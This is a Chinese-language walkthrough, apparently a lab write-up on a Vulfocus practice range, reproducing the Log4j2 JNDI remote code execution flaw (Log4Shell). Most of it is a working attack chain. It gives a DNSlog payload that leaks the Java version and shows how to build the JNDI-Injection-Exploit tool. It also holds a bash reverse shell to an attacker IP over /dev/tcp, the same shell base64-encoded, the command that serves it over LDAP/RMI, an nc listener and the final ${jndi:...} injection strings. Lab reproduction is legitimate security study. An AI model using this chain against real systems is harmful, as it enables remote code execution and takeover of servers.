這里選擇使用vulfocue的靶場來進行復現
描述:
Apache Log4j2 是一個基于 Java 的日志記錄工具。該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業務系統開發,用來記錄日志信息。 在大多數情況下,開發者可能會將用戶輸入導致的錯誤信息寫入日志中。攻擊者利用此特性可通過該漏洞構造特殊的數據請求包,最終觸發遠程代碼執行。
Lookup 操作:Log4j2 支持使用 JNDI 的lookup功能來解析和加載外部資源。例如,在日志格式中可以使用${jndi:ldap://example.com/}這樣的表達式,Log4j 會嘗試通過 JNDI 去指定的 LDAP 服務器獲取資源。
Java 的動態類加載機制:Java 的類加載器允許在運行時動態地加載類。當應用程序需要使用某個類時,如果該類尚未被加載到內存中,類加載器會根據類的名稱去查找并加載它。這種機制使得 Java 應用程序具有很強的靈活性和擴展性,但也可能帶來安全風險。
利用動態類加載執行代碼:攻擊者可以構造惡意的 JNDI 資源,當 Log4j 嘗試通過 JNDI 去獲取這個資源時,實際上可能會加載攻擊者指定的惡意類。例如,攻擊者在 LDAP 服務器上設置一個指向惡意類的鏈接,當 Log4j 執行lookup操作時,就會從 LDAP 服務器獲取到這個惡意類的信息,并通過 Java 的類加載器將其加載到應用程序的內存中。一旦惡意類被加載,它就可以在目標系統上執行任意代碼,例如創建新的進程、讀取或修改敏感數據、建立反向連接等。
logger.info("system propety: ${jndi:schema://url}");
1.啟動環境
點擊問號跳轉
發現url會出現變化
schema 是查找jndi對象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi幾種schema。
漏洞利用語句如下(替換 schema://url):
${jndi:schema://url}
驗證是否存在Log4j2遠程代碼執行,首先在DNSlog獲取一個域名。
DNSLog Platform
輸入下面的內容,注意替換你自己獲得的域名
${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}
這里注意,進行url編碼
Java程序解析這個表達式時,會將 ${sys:java.version} 替換為當前 JVM 的實際版本號,這樣你在DNSlog就能看到相關信息
JNDI 注入工具安裝
首先安裝 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切換到 JNDI-Injection-Exploit 目錄
cd JNDI-Injection-Exploit
編譯安裝,在該目錄下執行如下命令
mvn clean package -DskipTests
編譯安裝完成后,我們會得到一個 jar 文件
位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在運行結果的最后有給出:
切換進入到 target 目錄:
cd target
2、工具用法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要執行的命令" -A "攻擊機的ip"
3、服務站點部署
反彈 shell 到目標主機端口,這里以 7777 端口為例
bash -i >& /dev/tcp/192.168.217.134/7777 0>&1
對命令進行 base64 編碼 (命令必須經過編碼,不然無法實現)
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
將想要執行的命令替換成我們得到的 payload,以及填上我們的攻擊機ip
利用 JNDI 注入工具把這個反彈 shell 命令部署到 LDAP 服務上
在 target 目錄下,執行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"
4、開啟端口監聽
再開一個終端,監聽我們對應的端口(我這里的 payload 里為 7777)
nc -lvvp 7777
5、反彈shell
使用上述給出的 payload 路徑構造完整 payload
比如:
${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}
我們可以針對不同版本和不同情況使用不同的服務和不同的 payload
url編碼
成功反彈shell